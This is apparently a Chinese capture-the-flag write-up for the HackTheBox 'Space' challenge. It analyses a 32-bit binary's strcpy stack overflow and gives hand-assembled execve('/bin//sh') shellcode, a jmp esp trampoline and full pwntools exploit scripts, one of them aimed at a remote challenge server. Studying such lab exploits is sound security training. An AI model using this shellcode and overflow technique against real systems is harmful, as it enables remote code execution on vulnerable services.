HackTheBox Space 写入x32shellcode Pwn题目

news/2024/5/20 0:14:58 标签: 网络安全, ctf, hackthebox, pwn

在这里插入图片描述

题目网址:

https://app.hackthebox.com/challenges/space

解压密码为hackthebox

静态分析

checksec space

在这里插入图片描述

这个程序什么防护都没开,从上到下依次是

32位程序
部分RELRO,基本上所有程序都默认的有这个
没有开启栈保护
未启用数据执行
没有pie,意思是程序的内存空间不会被随机化
有读,写,和执行的段,意思是我们可以在程序里写入shellcode

现在用ghidra打开程序,按下键盘的i键,选择程序

在这里插入图片描述

双击启动,然后都是默认即可

然后找到main函数

在这里插入图片描述

在这里插入图片描述

undefined4 main(void)

{
  undefined local_2f [31];
  undefined *local_10;
  
  local_10 = &stack0x00000004;
  printf("> ");
  fflush(stdout);
  read(0,local_2f,0x1f);
  vuln(local_2f);
  return 0;
}

很简单的程序,首先输出字符串’>'后让我们输入内容,但是只允许输入31(0x1f)个字节,会存储在main函数的缓冲区中,这个缓冲区允许存储31个字符,然后调用了vuln函数

然后将局部变量local_2f(也就是我们输入的内容)传递到函数vuln函数中,其中local_2f中的字符串将被复制到vuln函数的局部变量local_12中。使用的复制字符串的函数是strcpy

在这里插入图片描述

void vuln(char *param_1)

{
  char local_12 [10];
  
  strcpy(local_12,param_1);
  return;
}

这是一种不安全的方法,可以复制的字符串的大小没有限制。由于变量local_2f最多可以存储31个字符,因此变量local_12很容易溢出,可以执行缓冲区溢出并覆盖vuln函数的返回地址

动态调试

用gdb打开程序,为了弄清楚程序的缓冲区偏移量和对齐栈空间,我们在vuln函数的strcpy函数前后下一个断点

在这里插入图片描述

b *0x080491c1
b *0x080491c6
r

运行程序,随便输入一些字符串

在这里插入图片描述

然后查看一下堆栈

x/40x $esp

在这里插入图片描述

执行strcpy函数后再看一下堆栈

n
x/40x $esp

在这里插入图片描述

在这里插入图片描述

由于我们输入了12个A,还需要6个A字符才能覆盖到返回地址,一共就是18个字符,也就是说,我们需要18个字符以内的shellcode

x32shellcode

通过google,搜索相关的x32shellcode,发现了以下文章:

https://rayoflightz.github.io/shellcoding/linux/x86/2018/11/15/Shellcoding-for-linux-on-x86.html#putting-it-all-together

在这里插入图片描述

再根据这个网站查看哪些寄存器用作sys调用的参数

https://man7.org/linux/man-pages/man2/syscall.2.html

在这里插入图片描述

然后简化一下shellcode

xor edx,edx         # \x31\xd2 (设置没有第三个参数) 
push edx            # \x52      (将空字节压入堆栈作为字符串终止符) 
xor ecx,ecx         # \x31\xc9 (设置没有第二个参数) 
push '//sh'         # \x68\x2f\x2f\x73\x68 (push "/bin//sh") 
push '/bin'         # \x68\x2f\x62\x69\x6e 
mov ebx,esp         # \ x89\xe3 (设置 ebx,第一个参数,使用“/bin//sh\0”) 
push 0x0b           # \x6a\x0b 
pop eax             # \x58      (设置使用 sys_execve) 
int 0x80            # \xcd\x80

这个shellcode一共有22个字符,堆栈内最多存放18个字符,不然就会覆盖到返回地址,我们只能通过jmp esp指令来分开执行shellcode,当指令“jmp esp”的地址放置在vuln函数的返回地址位置时,我们可以执行返回地址位置之后的shellcode,shellcode中的一些指令首先被执行,然后再跳回到变量local_12的开头执行我们剩下的shellcode

查询程序内是否存在jmp esp指令

ropper --file space --search "jmp esp"

在这里插入图片描述

正好有一个

在这里插入图片描述

我们在黄色部分放一部分shellcode,白色部分是函数的返回地址,然后将jmp esp指令放在里面,剩下的shellcode放到红色里

根据我们之前写的shellcode,我们可以将指令“xor edx, edx”和“xor ecx, ecx”放在返回地址的位置之后,因为它不影响堆栈的位置,因为不涉及PUSH操作。然后我们可以把剩下的 18 个字节的 shellcode 放在前面

from pwn import *

context.update(arch="i386", os="linux")

binary = ELF("./space")

jmp_esp_asm = asm("jmp esp")
jmp_esp = next(binary.search(jmp_esp_asm))

exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9"

在这里插入图片描述

在vuln函数里,寄存器eax包含变量local_12的地址,因此,我们可以在shellcode中包含“jmp eax”,以使其跳转到位于变量local_12开头的剩余shellcode

call_eax_asm = asm("call eax")	# 2字节

exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9" + call_eax_asm

我们的esp指向的是我们的b”\x31\xd2\x31\xc9”,而剩下的shellcode位于较低的地址,堆栈是从高到低执行的,剩下的push操作会在push发生时覆盖自己。我们需要减去esp的当前值,让它指向远离我们的shellcode位置

sub_esp_0x20_asm = asm("sub esp, 0x20")	 # 3字节

exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9" + sub_esp_0x20_asm + call_eax_asm

PWN

完整的脚本

from pwn import *

context.update(arch="i386", os="linux")

binary = ELF("./space")

# 搜索jmp esp指令的地址
jmp_esp_asm = asm("jmp esp")
jmp_esp = next(binary.search(jmp_esp_asm))

# 回到vuln函数的缓冲区
call_eax_asm = asm("call eax")

# 改变栈指针,这样当shellcode压栈时,不会覆盖我们的shellcode
sub_esp_0x20_asm = asm("sub esp, 0x20")

exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9" + sub_esp_0x20_asm + call_eax_asm

r = binary.process() 
r.sendlineafter(">", exploit)
r.interactive()

执行脚本

在这里插入图片描述

设置远程地址,pwn掉服务器

在这里插入图片描述

from pwn import *

context.update(arch="i386", os="linux")

binary = ELF("./space")


jmp_esp_asm = asm("jmp esp")
jmp_esp = next(binary.search(jmp_esp_asm))


call_eax_asm = asm("call eax")


sub_esp_0x20_asm = asm("sub esp, 0x20")

exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9" + sub_esp_0x20_asm + call_eax_asm

r = remote("165.227.237.60",31380)

r.sendlineafter(">", exploit)

r.interactive()

在这里插入图片描述

成功获得flag


http://www.niftyadmin.cn/n/4637.html

相关文章

Vue学习:axios

Axios 1. axios的简介 1.1 axios是什么 ​ Axios 是一个基于 promise 网络请求库,作用于node.js 和浏览器中。 它是 isomorphic 的(即同一套代码可以运行在浏览器和node.js中)。在服务端它使用原生 node.js http 模块, 而在客户端 (浏览端) 则使用 XMLHttpReques…

为什么您的公司应该进行脉动调查以及如何正确进行

人力资源部以自己是组织的心跳而自豪,但随着公司的发展,尤其是在公司快速发展的过程中,你越来越难以掌握员工的快乐程度。 随着公司的扩张和业务目标的发展,保持员工的参与度是关键。2017 年的一项研究称,离职员工使他…

linux基本指令(上)

文章目录1.whomai指令2. pwd指令3. ls 指令1. ls指令2. ls -l指令3.ls -la指令1. cd .2. cd . .4. ls -ld指令5. ls -i指令1. windows 与linux标识文件之间的区别6. ls -R指令4. cd指令1.cd 指令2. cd ~ 指令3.cd -指令5. 根目录1.绝对路径2.相对路径例判断相对路径是否唯一6. …

前端学习-函数,形参和实参,函数声明提升,sort函数,递归,浅克隆,深克隆,全局变量,遮蔽效应,设计模式,css盒子模型,BFC,css解决高度塌陷,

Vue当中的ref使用 一、获取DOM,操作DOM 1、给dom节点记上ref属性,可以理解为给dom节点起了个名字。 2、加上ref之后,在$refs属性中多了这个元素的引用。 3、通过vue实例的$refs属性拿到这个dom元素。 二、获取组件,拿到组件中的变量和方法 1、给组件记上ref属性,可以理…

个人设计web前端大作业 基于html5制作美食菜谱网页设计作业代码

🎀 精彩专栏推荐👇🏻👇🏻👇🏻 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 💂 作者主页: 【主页——🚀获取更多优质源码】 🎓 web前端期末大作业…

随想录一刷Day51——动态规划

文章目录Day51_动态规划37. 最佳买卖股票时机含冷冻期39. 买卖股票的最佳时机含手续费Day51_动态规划 37. 最佳买卖股票时机含冷冻期 309. 最佳买卖股票时机含冷冻期 思路: dp[i][j]表示第i天在状态j下手上的现金数量递推公式: 首先确定有4种状态&…

基于小程序制作一个猜拳小游戏

在工作学习之余玩一会游戏既能带来快乐,还能缓解生活压力,跟随此文一起制作一个小程序游戏吧。 创建小程序功能实现界面优化代码块创建小程序 访问微信公众平台,点击账号注册。 选择小程序,并在表单填写所需的各项信息进行注册。 …

初识C++(五)

简述:初识C章节最后一节啦 整体感觉就是C像是C的补充和升级 以一种更简单的方式奔向普罗大众 从而也能使更多人接受编程 当然不是讲C简单 就是C像是从机器时代进入了电气时代 以更简单的操作实现更高的效率,这是我在接触C一周时的整体印象。 目录 auto关…